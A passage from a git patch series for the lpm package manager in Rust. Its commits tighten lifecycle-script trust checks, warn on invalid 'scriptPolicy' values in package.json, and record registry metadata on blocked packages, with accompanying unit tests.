ScriptPolicy::parse(s).ok()); - // Intentionally silent on parse failure: a malformed - // `scriptPolicy` here is equivalent to "not set" for precedence - // purposes, so we fall through to the global default. The - // canonical error path is the CLI flag (validated at clap - // time) and `lpm config` write-time validation in P9. - // Surfacing the error here would spam every install in the - // field until the user fixes their package.json; graceful - // fallthrough matches the existing `read_*_config` helpers' - // behavior. + .and_then(|v| v.as_str()); + let (policy, policy_parse_error) = match raw_policy { + None => (None, None), + Some(s) => match ScriptPolicy::parse(s) { + Ok(p) => (Some(p), None), + Err(e) => (None, Some(e.input)), + }, + }; let auto_build = scripts .and_then(|s| s.get("autoBuild")) @@ -187,6 +207,7 @@ impl ScriptPolicyConfig { auto_build, deny_all, trusted_scopes, + policy_parse_error, } } } @@ -236,17 +257,21 @@ pub fn collapse_policy_flags( /// `conflicts_with_all`; this function trusts the single-value /// guarantee. /// -/// `project_dir` is the install root (or `lpm build` project dir). -/// `from_package_json` handles missing files gracefully. +/// `project_config` is a pre-loaded [`ScriptPolicyConfig`] (see +/// [`ScriptPolicyConfig::from_package_json`]). Taking the loaded +/// config rather than a path lets the caller inspect +/// [`ScriptPolicyConfig::policy_parse_error`] and surface the typo via +/// [`crate::output::warn`] before resolving — so a team-shared +/// typo in `package.json > lpm > scriptPolicy` doesn't silently +/// produce per-developer policy divergence. pub fn resolve_script_policy( cli_override: Option, - project_dir: &Path, + project_config: &ScriptPolicyConfig, ) -> ScriptPolicy { if let Some(p) = cli_override { return p; } - let project = ScriptPolicyConfig::from_package_json(project_dir); - if let Some(p) = project.policy { + if let Some(p) = project_config.policy { return p; } if let Some(p) = GlobalConfig::load() @@ -364,15 +389,44 @@ mod tests { } #[test] - fn from_package_json_invalid_script_policy_is_silent_none() { - // Graceful fallthrough (matches existing ad-hoc readers' - // behavior and avoids spamming every install in the field - // until the user fixes it). The error path is at the CLI flag - // + `lpm config` write-time. + fn from_package_json_invalid_script_policy_surfaces_parse_error() { + // v2.3 post-audit behavior change: a team-shared + // `package.json` with a typo in `scriptPolicy` must NOT + // silently fall through to per-developer global config. + // `policy` stays `None` (precedence falls through), but + // `policy_parse_error` carries the offending input so + // install.rs / build.rs can warn the user via + // `output::warn`. let dir = tempdir().unwrap(); write_pkg_json(dir.path(), r#"{"lpm": {"scriptPolicy": "invalid"}}"#); let cfg = ScriptPolicyConfig::from_package_json(dir.path()); assert_eq!(cfg.policy, None); + assert_eq!( + cfg.policy_parse_error.as_deref(), + Some("invalid"), + "invalid scriptPolicy value must be captured for user warning" + ); + } + + #[test] + fn from_package_json_valid_script_policy_has_no_parse_error() { + let dir = tempdir().unwrap(); + write_pkg_json(dir.path(), r#"{"lpm": {"scriptPolicy": "triage"}}"#); + let cfg = ScriptPolicyConfig::from_package_json(dir.path()); + assert_eq!(cfg.policy, Some(ScriptPolicy::Triage)); + assert_eq!(cfg.policy_parse_error, None); + } + + #[test] + fn from_package_json_absent_script_policy_has_no_parse_error() { + let dir = tempdir().unwrap(); + write_pkg_json(dir.path(), r#"{"lpm": {}}"#); + let cfg = ScriptPolicyConfig::from_package_json(dir.path()); + assert_eq!(cfg.policy, None); + assert_eq!( + cfg.policy_parse_error, None, + "absence must not look like a parse error" + ); } #[test] @@ -414,7 +468,8 @@ mod tests { let dir = tempdir().unwrap(); // Project says triage; CLI forces allow; CLI must win. write_pkg_json(dir.path(), r#"{"lpm": {"scriptPolicy": "triage"}}"#); - let resolved = resolve_script_policy(Some(ScriptPolicy::Allow), dir.path()); + let cfg = ScriptPolicyConfig::from_package_json(dir.path()); + let resolved = resolve_script_policy(Some(ScriptPolicy::Allow), &cfg); assert_eq!(resolved, ScriptPolicy::Allow); } @@ -425,12 +480,13 @@ mod tests { // win on its own. let dir = tempdir().unwrap(); write_pkg_json(dir.path(), r#"{"lpm": {"scriptPolicy": "triage"}}"#); + let cfg = ScriptPolicyConfig::from_package_json(dir.path()); // Clear HOME so GlobalConfig::load finds nothing. let _env = crate::test_env::ScopedEnv::set([( "HOME", std::ffi::OsString::from(dir.path().to_str().unwrap()), )]); - let resolved = resolve_script_policy(None, dir.path()); + let resolved = resolve_script_policy(None, &cfg); assert_eq!(resolved, ScriptPolicy::Triage); } @@ -438,13 +494,38 @@ mod tests { fn resolve_default_when_nothing_set() { let dir = tempdir().unwrap(); write_pkg_json(dir.path(), r#"{}"#); + let cfg = ScriptPolicyConfig::from_package_json(dir.path()); // Isolate HOME so any developer's real ~/.lpm/config.toml // doesn't leak into this test. let _env = crate::test_env::ScopedEnv::set([( "HOME", std::ffi::OsString::from(dir.path().to_str().unwrap()), )]); - let resolved = resolve_script_policy(None, dir.path()); + let resolved = resolve_script_policy(None, &cfg); assert_eq!(resolved, ScriptPolicy::Deny); } + + #[test] + fn resolve_ignores_parse_error_uses_fallthrough() { + // When package.json has an invalid `scriptPolicy`, the + // resolver treats it as "unset" and falls through to global / + // default. The error surfacing is a caller concern + // (install.rs / build.rs emit `output::warn`). This test pins + // the resolver contract: parse-error does NOT block + // resolution, just prevents the value from winning. + let dir = tempdir().unwrap(); + write_pkg_json(dir.path(), r#"{"lpm": {"scriptPolicy": "junk"}}"#); + let cfg = ScriptPolicyConfig::from_package_json(dir.path()); + assert!(cfg.policy_parse_error.is_some()); + let _env = crate::test_env::ScopedEnv::set([( + "HOME", + std::ffi::OsString::from(dir.path().to_str().unwrap()), + )]); + let resolved = resolve_script_policy(None, &cfg); + assert_eq!( + resolved, + ScriptPolicy::Deny, + "parse-error scriptPolicy falls through to default", + ); + } } From 665e74b34f2ce548535d98cfc8c25713b24468e2 Mon Sep 17 00:00:00 2001 From: Tolga Ergin Date: Tue, 21 Apr 2026 00:44:04 +0100 Subject: [PATCH 04/61] =?UTF-8?q?fix(phase-46):=20P1=20audit=20v3=20Findin?= =?UTF-8?q?g=201=20=E2=80=94=20warning=20names=20actually-effective=20poli?= =?UTF-8?q?cy?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Addresses the Low-severity wording drift from the fourth-round audit: the scriptPolicy typo warning was emitted BEFORE resolution and always said the value was "falling back to user config / default". That is only true when no CLI override is present. When the user passes --policy, --yolo, or --triage, the CLI override is what actually wins — so the warning's tail was misleading in that case. Fix: move warning emission to AFTER `resolve_script_policy` and include the resolved value in the message. One message works across all three precedence paths: no CLI override → "…effective policy: deny" (or global, if set) --yolo → "…effective policy: allow" --policy=triage → "…effective policy: triage" Ordering is preserved: invalid CLI flag values (e.g. --policy=garbage) still error out via `collapse_policy_flags` BEFORE we'd emit the package.json warning, so the CLI error takes precedence over the manifest warning as before. Tested live: ▲ package.json > lpm > scriptPolicy: invalid value 'invalid-typo' (expected one of: deny, allow, triage); this key was ignored — effective policy: Workspace gate clean: clippy -D warnings, fmt, 1698/1698 tests pass on touched crates. Co-Authored-By: Claude Opus 4.7 (1M context) --- crates/lpm-cli/src/main.rs | 49 ++++++++++++++++++++++---------------- 1 file changed, 29 insertions(+), 20 deletions(-) diff --git a/crates/lpm-cli/src/main.rs b/crates/lpm-cli/src/main.rs index 5f4c024f..980dc778 100644 --- a/crates/lpm-cli/src/main.rs +++ b/crates/lpm-cli/src/main.rs @@ -1985,18 +1985,12 @@ async fn async_main() -> Result<()> { // `package.json > lpm > scriptPolicy` to the user: a // team-shared manifest must not silently fall through to // each developer's `~/.lpm/config.toml` on typos (see - // audit Finding 2). + // audit Finding 2). The warning emission is deferred to + // AFTER resolve so the user sees what actually took effect + // (the CLI override may have superseded the project value + // anyway — audit v3 Finding 1). let script_policy_cfg = script_policy_config::ScriptPolicyConfig::from_package_json(&cwd); - if let Some(invalid) = &script_policy_cfg.policy_parse_error - && !cli.json - { - output::warn(&format!( - "package.json > lpm > scriptPolicy: invalid value '{invalid}' \ - (expected one of: deny, allow, triage); falling back to \ - user config / default" - )); - } let effective_script_policy = { let cli_override = script_policy_config::collapse_policy_flags( policy.as_deref(), @@ -2010,6 +2004,16 @@ async fn async_main() -> Result<()> { "lpm install: effective script-policy = {}", effective_script_policy.as_str() ); + if let Some(invalid) = &script_policy_cfg.policy_parse_error + && !cli.json + { + output::warn(&format!( + "package.json > lpm > scriptPolicy: invalid value '{invalid}' \ + (expected one of: deny, allow, triage); this key was \ + ignored — effective policy: {}", + effective_script_policy.as_str(), + )); + } // Phase 33: build the SaveFlags struct from the per-command CLI // overrides. clap already enforces mutual exclusion between @@ -2619,18 +2623,13 @@ async fn async_main() -> Result<()> { // in P1 — tier-aware execution lands with the sandbox in // a later phase. Loading the config here also surfaces // typos in `package.json > lpm > scriptPolicy` instead of - // silently falling through (audit Finding 2). + // silently falling through (audit Finding 2). Warning + // emission is deferred until after resolve so the user + // sees what actually took effect — the CLI override may + // have superseded the project value anyway (audit v3 + // Finding 1). let script_policy_cfg = script_policy_config::ScriptPolicyConfig::from_package_json(&cwd); - if let Some(invalid) = &script_policy_cfg.policy_parse_error - && !cli.json - { - output::warn(&format!( - "package.json > lpm > scriptPolicy: invalid value '{invalid}' \ - (expected one of: deny, allow, triage); falling back to \ - user config / default" - )); - } let cli_override = script_policy_config::collapse_policy_flags(policy.as_deref(), yolo, triage_alias) .map_err(lpm_common::LpmError::Script)?; @@ -2640,6 +2639,16 @@ async fn async_main() -> Result<()> { "lpm build: effective script-policy = {}", effective.as_str() ); + if let Some(invalid) = &script_policy_cfg.policy_parse_error + && !cli.json + { + output::warn(&format!( + "package.json > lpm > scriptPolicy: invalid value '{invalid}' \ + (expected one of: deny, allow, triage); this key was \ + ignored — effective policy: {}", + effective.as_str(), + )); + } commands::build::run( &cwd, &packages, From 107fde51ba41e6c64d485c64073618ab1db05070 Mon Sep 17 00:00:00 2001 From: Tolga Ergin Date: Tue, 21 Apr 2026 00:55:51 +0100 Subject: [PATCH 05/61] =?UTF-8?q?feat(phase-46):=20P1=20helper=20migration?= =?UTF-8?q?=20=E2=80=94=20show=5Finstall=5Fbuild=5Fhint=20+=20all=5Fscript?= =?UTF-8?q?ed=5Fpackages=5Ftrusted=20use=20strict=20gate?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Closes audit Finding 3 (third-round review). Pre-existing drift: `build::run` uses `can_run_scripts_strict` (binds to {name, version, integrity, script_hash}), but both the install-time hint and the auto-build "all trusted" predicate used the lenient `policy.can_run_scripts(name)` gate. Consequence: a drifted rich binding was shown as `trusted ✓` in the install hint AND satisfied the auto-build predicate, even though `build::run` would then skip it — confusing UX at best, silent trust-drift bypass at worst. Both helpers now use the same four-way TrustMatch handling as `build::run` at build.rs:133: - Strict → trusted - LegacyNameOnly → trusted (build::run still runs with deprecation) - BindingDrift → NOT trusted (behavior fix) - NotTrusted → NOT trusted OR-composed with is_scope_trusted, matching build::run exactly. Signature change: both helpers' `packages` argument is now `&[(String, String, Option)]` (name, version, integrity). Three call sites in install.rs updated to thread integrity through (it's already on the existing InstallPackage struct — one field, no data-flow refactor needed). Extracted `scriptable_package_rows()` as a pure helper that `show_install_build_hint()` now wraps; the pure helper is the test surface for reviewer-prescribed regression case A. Tests (reviewer prescription + positive control): A. show_install_hint_drifted_rich_binding_is_not_trusted — drifted rich binding MUST NOT be shown as `trusted ✓`. Pre-migration this asserted true against `is_trusted`; now asserts false. B. all_scripted_packages_trusted_false_on_drifted_rich_binding — drifted rich binding MUST NOT satisfy the auto-build predicate. Pre-migration: true; now false. Positive control: scriptable_rows_strict_match_is_trusted — a rich binding whose scriptHash matches the on-disk hash IS trusted. Proves the drift tests distinguish "drifted" from "no binding." Three existing helper tests updated to the new tuple signature (integrity: None preserves their semantics since they use legacy bare-name `trustedDependencies` arrays, which parse as LegacyNameOnly — treated as trusted by both old and new gates). Full-workspace CI gate: clippy -D warnings clean, fmt clean, 1701/1701 tests pass on touched crates (lpm-cli + lpm-security). The lpm-task filter::eval perf-threshold tests continue to flake under parallel load; serial re-run 168/168 confirms unrelated to this migration. Co-Authored-By: Claude Opus 4.7 (1M context) --- crates/lpm-cli/src/commands/build.rs | 289 ++++++++++++++++++++++--- crates/lpm-cli/src/commands/install.rs | 25 ++- 2 files changed, 281 insertions(+), 33 deletions(-) diff --git a/crates/lpm-cli/src/commands/build.rs b/crates/lpm-cli/src/commands/build.rs index 88101d89..b08741f5 100644 --- a/crates/lpm-cli/src/commands/build.rs +++ b/crates/lpm-cli/src/commands/build.rs @@ -604,19 +604,45 @@ struct ScriptablePackage { is_trusted: bool, } -/// Show the install-time build hint (called from install.rs). +/// One scriptable-package row for the install-time build hint. /// -/// Lists packages with unexecuted scripts and their trust status. -pub fn show_install_build_hint( +/// Phase 46 P1 extracted this struct from the previous tuple-shaped +/// buffer so the hint's trust decision is independently testable. +/// [`scriptable_package_rows`] is pure over (store state, manifest, +/// project_dir); [`show_install_build_hint`] is the I/O wrapper that +/// prints the same rows. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(crate) struct ScriptableHintRow { + pub name: String, + pub version: String, + pub scripts: HashMap, + pub is_built: bool, + pub is_trusted: bool, +} + +/// Pure computation of the install-hint rows. +/// +/// **Phase 46 P1 migration:** trust decision switched from +/// [`SecurityPolicy::can_run_scripts`] (lenient, name-only) to +/// [`SecurityPolicy::can_run_scripts_strict`], matching the exact +/// semantic `build::run` uses. Closes the pre-existing drift where a +/// drifted rich binding could be shown as `trusted ✓` in the install +/// hint even though `lpm build` would then skip it. OR-composition +/// with [`is_scope_trusted`] preserved from the prior implementation. +/// +/// The `integrity` in the `packages` tuple is what the lockfile / +/// resolver recorded at install time. `None` is accepted (some +/// packages lack an SRI hash or the caller couldn't resolve one); the +/// strict gate still works, just with a weaker binding. +pub(crate) fn scriptable_package_rows( store: &PackageStore, - packages: &[(String, String)], // (name, version) + packages: &[(String, String, Option)], // (name, version, integrity) policy: &SecurityPolicy, project_dir: &Path, -) { - #[allow(clippy::type_complexity)] - let mut scriptable: Vec<(&str, &str, HashMap, bool, bool)> = Vec::new(); +) -> Vec { + let mut rows = Vec::new(); - for (name, version) in packages { + for (name, version, integrity) in packages { let pkg_dir = store.package_dir(name, version); let pkg_json_path = pkg_dir.join("package.json"); @@ -626,15 +652,49 @@ pub fn show_install_build_hint( }; let is_built = pkg_dir.join(BUILD_MARKER).exists(); - let is_trusted = policy.can_run_scripts(name) || is_scope_trusted(name, project_dir); - scriptable.push((name, version, scripts, is_built, is_trusted)); + // Strict/tiered gate — same four-way match as `build::run` at + // build.rs:133. `Strict` + `LegacyNameOnly` are trusted; + // `BindingDrift` + `NotTrusted` are not. A legacy bare-name + // entry counts as trusted here because `build::run` will + // still run the script (with a deprecation warning), so the + // hint must not mislead the user about what the subsequent + // `lpm build` will do. + let script_hash = compute_script_hash(&pkg_dir); + let trust = policy.can_run_scripts_strict( + name, + version, + integrity.as_deref(), + script_hash.as_deref(), + ); + let strict_trust = matches!(trust, TrustMatch::Strict | TrustMatch::LegacyNameOnly); + let is_trusted = strict_trust || is_scope_trusted(name, project_dir); + + rows.push(ScriptableHintRow { + name: name.clone(), + version: version.clone(), + scripts, + is_built, + is_trusted, + }); } - let unbuilt: Vec<_> = scriptable - .iter() - .filter(|(_, _, _, built, _)| !built) - .collect(); + rows +} + +/// Show the install-time build hint (called from install.rs). +/// +/// Lists packages with unexecuted scripts and their trust status. +/// Thin I/O wrapper over [`scriptable_package_rows`]; all trust +/// decisions live in the pure helper. +pub fn show_install_build_hint( + store: &PackageStore, + packages: &[(String, String, Option)], // (name, version, integrity) + policy: &SecurityPolicy, + project_dir: &Path, +) { + let rows = scriptable_package_rows(store, packages, policy, project_dir); + let unbuilt: Vec<&ScriptableHintRow> = rows.iter().filter(|r| !r.is_built).collect(); if unbuilt.is_empty() { return; @@ -646,23 +706,23 @@ pub fn show_install_build_hint( unbuilt.len() )); - for (name, version, scripts, _, trusted) in &unbuilt { - let trust_label = if *trusted { + for row in &unbuilt { + let trust_label = if row.is_trusted { "trusted ✓".green().to_string() } else { "not trusted".yellow().to_string() }; - let script_names: Vec<&str> = scripts.keys().map(|s| s.as_str()).collect(); + let script_names: Vec<&str> = row.scripts.keys().map(|s| s.as_str()).collect(); println!( " {:<30} {:<30} ({})", - format!("{}@{}", name, version).bold(), + format!("{}@{}", row.name, row.version).bold(), script_names.join(", ").dimmed(), trust_label, ); } - let trusted_unbuilt = unbuilt.iter().filter(|(_, _, _, _, t)| *t).count(); + let trusted_unbuilt = unbuilt.iter().filter(|r| r.is_trusted).count(); println!(); if trusted_unbuilt > 0 { println!( @@ -680,16 +740,24 @@ pub fn show_install_build_hint( /// Check if ALL packages with unexecuted lifecycle scripts are trusted. /// -/// Used by install.rs to decide whether to auto-build without explicit opt-in. +/// Used by install.rs to decide whether to auto-build without explicit +/// opt-in. +/// +/// **Phase 46 P1 migration:** same strict/tiered gate as +/// [`scriptable_package_rows`] and `build::run`. A drifted rich +/// binding now correctly fails this predicate (previously `true` with +/// the name-only gate, which would trigger auto-build for a package +/// `build::run` would then skip — confusing UX at best, silent trust +/// bypass at worst). pub fn all_scripted_packages_trusted( store: &PackageStore, - packages: &[(String, String)], + packages: &[(String, String, Option)], // (name, version, integrity) policy: &SecurityPolicy, project_dir: &Path, ) -> bool { let mut has_any_unbuilt = false; - for (name, version) in packages { + for (name, version, integrity) in packages { let pkg_dir = store.package_dir(name, version); let pkg_json_path = pkg_dir.join("package.json"); @@ -707,7 +775,15 @@ pub fn all_scripted_packages_trusted( has_any_unbuilt = true; let _ = scripts; // used above for the is_empty check - let is_trusted = policy.can_run_scripts(name) || is_scope_trusted(name, project_dir); + let script_hash = compute_script_hash(&pkg_dir); + let trust = policy.can_run_scripts_strict( + name, + version, + integrity.as_deref(), + script_hash.as_deref(), + ); + let strict_trust = matches!(trust, TrustMatch::Strict | TrustMatch::LegacyNameOnly); + let is_trusted = strict_trust || is_scope_trusted(name, project_dir); if !is_trusted { return false; // at least one untrusted package @@ -1044,9 +1120,12 @@ mod tests { ); let policy = SecurityPolicy::from_package_json(&dir.path().join("package.json")); + // Legacy bare-name `trustedDependencies: ["esbuild"]` matches + // as `LegacyNameOnly`, which the strict gate treats as + // trusted — same semantic `build::run` uses. let trusted = all_scripted_packages_trusted( &store, - &[("esbuild".to_string(), "1.0.0".to_string())], + &[("esbuild".to_string(), "1.0.0".to_string(), None)], &policy, dir.path(), ); @@ -1071,7 +1150,7 @@ mod tests { let policy = SecurityPolicy::from_package_json(&dir.path().join("package.json")); let trusted = all_scripted_packages_trusted( &store, - &[("sharp".to_string(), "1.0.0".to_string())], + &[("sharp".to_string(), "1.0.0".to_string(), None)], &policy, dir.path(), ); @@ -1108,8 +1187,8 @@ mod tests { let trusted = all_scripted_packages_trusted( &store, &[ - ("trusted-pkg".to_string(), "1.0.0".to_string()), - ("blocked-pkg".to_string(), "1.0.0".to_string()), + ("trusted-pkg".to_string(), "1.0.0".to_string(), None), + ("blocked-pkg".to_string(), "1.0.0".to_string(), None), ], &policy, dir.path(), @@ -1121,6 +1200,162 @@ mod tests { ); } + // ─── Phase 46 P1: drifted-rich-binding regressions ───────────── + // + // These two tests pin the audit-prescribed behavior: a rich entry + // whose stored `scriptHash` no longer matches what's on disk must + // NOT be treated as trusted by either the install hint (§7 of + // the Phase 46 plan) or the auto-build predicate. Pre-migration, + // both used the lenient `policy.can_run_scripts(name)` gate and + // returned true for drifted entries, while `build::run` itself + // would skip them — producing a confusing UX where install said + // "will auto-build" but build then refused. Now all three agree. + + /// Build a project whose rich `trustedDependencies` entry for + /// `name@version` has a deliberately wrong `scriptHash`, so the + /// strict gate returns `BindingDrift`. + fn write_drifted_rich_project(dir: &Path, name: &str, version: &str) { + std::fs::write( + dir.join("package.json"), + format!( + r#"{{ + "name": "proj", + "lpm": {{ + "trustedDependencies": {{ + "{name}@{version}": {{ + "scriptHash": "sha256-not-the-real-hash-this-is-drift" + }} + }} + }} + }}"# + ), + ) + .unwrap(); + } + + #[test] + fn show_install_hint_drifted_rich_binding_is_not_trusted() { + // Audit prescription (test A): drifted rich binding must NOT + // show as `trusted ✓` in the install hint. We assert on the + // pure `scriptable_package_rows` helper that + // `show_install_build_hint` wraps — `is_trusted` is the + // observable under test. + let dir = tempfile::tempdir().unwrap(); + let store = PackageStore::at(dir.path().join("store")); + + write_store_package( + &store, + "sharp", + "1.0.0", + r#"{"postinstall":"node install.js"}"#, + false, + ); + // Sanity: the on-disk hash is SOME value; the rich binding + // will name a different one. `compute_script_hash` is the + // single source of truth for what's on disk. + let on_disk = compute_script_hash(&store.package_dir("sharp", "1.0.0")) + .expect("store package has an install-phase script"); + assert!(on_disk.starts_with("sha256-")); + + write_drifted_rich_project(dir.path(), "sharp", "1.0.0"); + let policy = SecurityPolicy::from_package_json(&dir.path().join("package.json")); + + let rows = scriptable_package_rows( + &store, + &[("sharp".to_string(), "1.0.0".to_string(), None)], + &policy, + dir.path(), + ); + assert_eq!(rows.len(), 1, "one scriptable row expected"); + assert_eq!(rows[0].name, "sharp"); + assert!( + !rows[0].is_trusted, + "drifted rich binding MUST NOT show as trusted in install hint \ + (the install UX must match `build::run`'s skip behavior)" + ); + } + + #[test] + fn all_scripted_packages_trusted_false_on_drifted_rich_binding() { + // Audit prescription (test B): drifted rich binding must NOT + // satisfy the auto-build "all trusted" predicate. Otherwise + // install would auto-trigger `build::run` for a package + // `build::run` then immediately skips. + let dir = tempfile::tempdir().unwrap(); + let store = PackageStore::at(dir.path().join("store")); + + write_store_package( + &store, + "sharp", + "1.0.0", + r#"{"postinstall":"node install.js"}"#, + false, + ); + write_drifted_rich_project(dir.path(), "sharp", "1.0.0"); + let policy = SecurityPolicy::from_package_json(&dir.path().join("package.json")); + + let trusted = all_scripted_packages_trusted( + &store, + &[("sharp".to_string(), "1.0.0".to_string(), None)], + &policy, + dir.path(), + ); + assert!( + !trusted, + "drifted rich binding MUST NOT satisfy the auto-build \ + all-trusted predicate (previously true via name-only \ + gate; now false via strict gate, matching build::run)" + ); + } + + #[test] + fn scriptable_rows_strict_match_is_trusted() { + // Positive control: a rich binding whose `scriptHash` matches + // the on-disk hash IS trusted. Proves the drift test above + // is distinguishing "drifted rich binding" from "no rich + // binding at all." + let dir = tempfile::tempdir().unwrap(); + let store = PackageStore::at(dir.path().join("store")); + write_store_package( + &store, + "sharp", + "1.0.0", + r#"{"postinstall":"node install.js"}"#, + false, + ); + let on_disk_hash = compute_script_hash(&store.package_dir("sharp", "1.0.0")).unwrap(); + + std::fs::write( + dir.path().join("package.json"), + format!( + r#"{{ + "name": "proj", + "lpm": {{ + "trustedDependencies": {{ + "sharp@1.0.0": {{ + "scriptHash": "{on_disk_hash}" + }} + }} + }} + }}"# + ), + ) + .unwrap(); + let policy = SecurityPolicy::from_package_json(&dir.path().join("package.json")); + + let rows = scriptable_package_rows( + &store, + &[("sharp".to_string(), "1.0.0".to_string(), None)], + &policy, + dir.path(), + ); + assert_eq!(rows.len(), 1); + assert!( + rows[0].is_trusted, + "strict-match rich binding MUST show as trusted (positive control)" + ); + } + // ── warn_stale_trusted_deps tests ─────────────────────────── #[test] diff --git a/crates/lpm-cli/src/commands/install.rs b/crates/lpm-cli/src/commands/install.rs index 24cefd6a..9e227ce9 100644 --- a/crates/lpm-cli/src/commands/install.rs +++ b/crates/lpm-cli/src/commands/install.rs @@ -2054,9 +2054,13 @@ pub async fn run_with_options( "All previously-blocked packages have been approved. Run `lpm build` to execute their scripts.", ); } else { - let all_pkgs: Vec<(String, String)> = packages + // Phase 46 P1: include integrity so the hint's strict gate + // matches what `build::run` will do. Previously we passed + // only (name, version) and the lenient name-only gate + // could show drifted rich bindings as trusted ✓. + let all_pkgs: Vec<(String, String, Option)> = packages .iter() - .map(|p| (p.name.clone(), p.version.clone())) + .map(|p| (p.name.clone(), p.version.clone(), p.integrity.clone())) .collect(); crate::commands::build::show_install_build_hint( &store, @@ -2351,9 +2355,14 @@ pub async fn run_with_options( // script-related keys come from a single read. let config_auto_build = crate::script_policy_config::ScriptPolicyConfig::from_package_json(project_dir).auto_build; - let all_pkgs_for_build: Vec<(String, String)> = packages + // Phase 46 P1: include integrity so the auto-build predicate's + // strict gate matches what `build::run` will do. A drifted rich + // binding previously satisfied this predicate via the lenient + // name-only gate and triggered auto-build for a package + // `build::run` then skipped. + let all_pkgs_for_build: Vec<(String, String, Option)> = packages .iter() - .map(|p| (p.name.clone(), p.version.clone())) + .map(|p| (p.name.clone(), p.version.clone(), p.integrity.clone())) .collect(); let all_trusted = crate::commands::build::all_scripted_packages_trusted( &store, @@ -3208,9 +3217,13 @@ async fn run_link_and_finish( "All previously-blocked packages have been approved. Run `lpm build` to execute their scripts.", ); } else { - let all_pkgs: Vec<(String, String)> = packages + // Phase 46 P1: include integrity so the hint's strict gate + // matches what `build::run` will do. Previously we passed + // only (name, version) and the lenient name-only gate + // could show drifted rich bindings as trusted ✓. + let all_pkgs: Vec<(String, String, Option)> = packages .iter() - .map(|p| (p.name.clone(), p.version.clone())) + .map(|p| (p.name.clone(), p.version.clone(), p.integrity.clone())) .collect(); crate::commands::build::show_install_build_hint( &store, From f13541c6bb05fa8811ebcdc31071a70e0fe86a8d Mon Sep 17 00:00:00 2001 From: Tolga Ergin Date: Tue, 21 Apr 2026 01:18:51 +0100 Subject: [PATCH 06/61] =?UTF-8?q?feat(phase-46):=20P1=20metadata=20plumbin?= =?UTF-8?q?g=20=E2=80=94=20published=5Fat=20+=20behavioral=5Ftags=5Fhash?= =?UTF-8?q?=20populated=20on=20BlockedPackage?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Closes the first of the three remaining P1 chunks. The Phase 46 schema added optional `published_at` and `behavioral_tags_hash` fields to BlockedPackage (commit 474fc59) but left them always-None; this commit wires the producer that populates them from registry metadata. New machinery: - lpm-registry: BehavioralTags::active_tag_names() returns the canonical camelCase names of the 22 tag-fields that are true, sorted lexicographically. Static strings mirror the serde renames and the server-side behavioral-tags.js schema so the hash is portable. - lpm-security::triage: hash_behavioral_tag_set(&[&str]) produces a deterministic "sha256-" digest with NUL separators (adjacency- collision defense). Empty input hashes to a stable, non-empty value (SHA-256 of empty string); callers distinguish "no active tags" from "no metadata" at the call site. - build_state: BlockedSetMetadata + BlockedSetMetadataEntry types (keyed by (name, version)). New entry points compute_blocked_packages_with_metadata and capture_blocked_set_after_install_with_metadata consume the map. Existing signatures preserved as thin wrappers passing an empty metadata map — zero test churn across the ~30 callers that use them. Install pipeline (install.rs): - build_blocked_set_metadata() async helper iterates packages and fetches registry metadata via the existing TTL-cached client API. Extracts time[version] → published_at and versions[version] ._behavioralTags → hash_behavioral_tag_set. Returns empty map on errors (graceful degradation; must never fail install). - Primary install path calls the _with_metadata variant with the built map. Fast-path (run_link_and_finish) still uses the no- metadata wrapper — fields stay None there, which is documented degradation (the lockfile fast-path has no populated TTL cache). Tests (5 new in build_state::tests): - compute_with_metadata_forwards_published_at_and_behavioral_tags_hash - compute_with_metadata_missing_entry_leaves_fields_none (graceful) - compute_with_metadata_partial_entry_forwards_only_populated_half - backward_compat_wrapper_captures_with_empty_metadata - metadata_fingerprint_is_independent_of_metadata (design invariant: the blocked-set fingerprint is over blockable packages + their strict binding only, NOT over their metadata — registry churn must not re-fire the blocked-set suppression banner) Plus 6 new tests in lpm-security::triage::tests covering the hashing helper: sha256- prefix + fixed length, empty-input pinned digest, order sensitivity (caller contract), NUL-separator adjacency defense, determinism, subset-distinction. Full-workspace CI gate: clippy -D warnings clean, fmt clean, 1821/1821 tests pass on touched crates. Field ownership matches the Phase 46 plan §11 P1 table: published_at + behavioral_tags_hash are P1-owned; static_tier + provenance_at_capture remain None until P2 and P4. Co-Authored-By: Claude Opus 4.7 (1M context) --- crates/lpm-cli/src/build_state.rs | 316 +++++++++++++++++++++++-- crates/lpm-cli/src/commands/install.rs | 82 ++++++- crates/lpm-registry/src/types.rs | 92 +++++++ crates/lpm-security/src/triage.rs | 104 ++++++++ 4 files changed, 578 insertions(+), 16 deletions(-) diff --git a/crates/lpm-cli/src/build_state.rs b/crates/lpm-cli/src/build_state.rs index dfed97a5..f0e23722 100644 --- a/crates/lpm-cli/src/build_state.rs +++ b/crates/lpm-cli/src/build_state.rs @@ -282,6 +282,54 @@ pub fn compute_blocked_set_fingerprint(packages: &[BlockedPackage]) -> String { format!("sha256-{}", hex_lower(&hasher.finalize())) } +/// Per-package metadata (Phase 46 P1) that enriches the captured +/// blocked-set beyond what's derivable from the store alone. +/// +/// The install pipeline already fetches registry metadata during the +/// cooldown check for every resolved package; Phase 46 extends that +/// fetch to also forward `publishedAt` and a hash of the package's +/// server-computed behavioral tags into `BlockedPackage`. Both fields +/// are optional and missing entries degrade gracefully to `None` in +/// the output (offline installs, npm packages without server-side +/// behavioral analysis, lockfile fast-path without a metadata fetch +/// for that version — all work). +/// +/// Keyed by `(name, version)` rather than a richer package identity +/// because the blocked-set capture operates on the `installed` tuple +/// list, not lockfile rows. +#[derive(Debug, Clone, Default)] +pub struct BlockedSetMetadata { + pub by_pkg: std::collections::HashMap<(String, String), BlockedSetMetadataEntry>, +} + +/// One entry in [`BlockedSetMetadata`]. +#[derive(Debug, Clone, Default)] +pub struct BlockedSetMetadataEntry { + /// RFC 3339 publish timestamp from the registry's `time` map for + /// this version. `None` for offline, fast-path without a metadata + /// fetch, or packages whose registry response omits the timestamp. + pub published_at: Option, + /// SHA-256 over the sorted set of `true` behavioral-analysis tags + /// (see `lpm_security::triage::hash_behavioral_tag_set`). `None` + /// for packages without server-side behavioral analysis. + pub behavioral_tags_hash: Option, +} + +impl BlockedSetMetadata { + /// Lookup for `(name, version)`. Returns a reference to the entry + /// or `None` if the caller didn't provide metadata for this + /// package (graceful degradation — the captured fields just stay + /// `None`). + pub fn get(&self, name: &str, version: &str) -> 